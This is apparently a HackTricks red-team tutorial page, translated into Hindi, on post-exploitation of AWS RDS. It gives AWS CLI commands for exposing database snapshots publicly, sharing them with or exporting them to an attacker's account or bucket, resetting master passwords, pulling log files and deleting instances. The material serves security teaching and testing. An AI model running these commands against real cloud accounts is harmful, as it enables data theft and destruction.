AWS - RDS Post Exploitation

AWS हैकिंग सीखें शुरुआत से लेकर एक्सपर्ट तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

RDS

अधिक जानकारी के लिए देखें:

pageAWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

यदि हमलावर के पास पर्याप्त अनुमतियां हैं, तो वह DB को सार्वजनिक रूप से सुलभ बना सकता है, DB का स्नैपशॉट बनाकर, और फिर स्नैपशॉट से एक सार्वजनिक रूप से सुलभ DB बनाकर.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

इन अनुमतियों के साथ एक हमलावर DB का एक स्नैपशॉट बना सकता है और इसे सार्वजनिक रूप से उपलब्ध कर सकता है। फिर, वह अपने खाते में उस स्नैपशॉट से एक DB बना सकता है।

अगर हमलावर के पास rds:CreateDBSnapshot नहीं है, तो भी वह अन्य बनाए गए स्नैपशॉट्स को सार्वजनिक बना सकता है।

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

rds:DownloadDBLogFilePortion अनुमति के साथ एक हमलावर RDS इंस्टेंस की लॉग फाइलों के हिस्सों को डाउनलोड कर सकता है। यदि संवेदनशील डेटा या पहुँच प्रमाणपत्र गलती से लॉग किए जाते हैं, तो हमलावर इस जानकारी का उपयोग अपने विशेषाधिकारों को बढ़ाने या अनधिकृत क्रियाएं करने के लिए कर सकता है।

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

संभावित प्रभाव: संवेदनशील जानकारी तक पहुँच या लीक हुए क्रेडेंशियल्स का उपयोग करके अनधिकृत क्रियाएँ।

rds:DeleteDBInstance

इन अनुमतियों वाला हमलावर मौजूदा RDS इंस्टेंसेस पर DoS कर सकता है

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

संभावित प्रभाव: मौजूदा RDS इंस्टेंस का विलोपन, और संभावित डेटा हानि।

rds:StartExportTask

TODO: परीक्षण करें

इस अनुमति के साथ एक हमलावर RDS इंस्टेंस स्नैपशॉट को S3 बकेट में निर्यात कर सकता है। यदि हमलावर के पास गंतव्य S3 बकेट पर नियंत्रण है, तो वे निर्यात किए गए स्नैपशॉट के भीतर संवेदनशील डेटा तक संभावित रूप से पहुँच सकते हैं।

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

संभावित प्रभाव: निर्यात किए गए स्नैपशॉट में संवेदनशील डेटा तक पहुँच।

htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से नायक तक!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated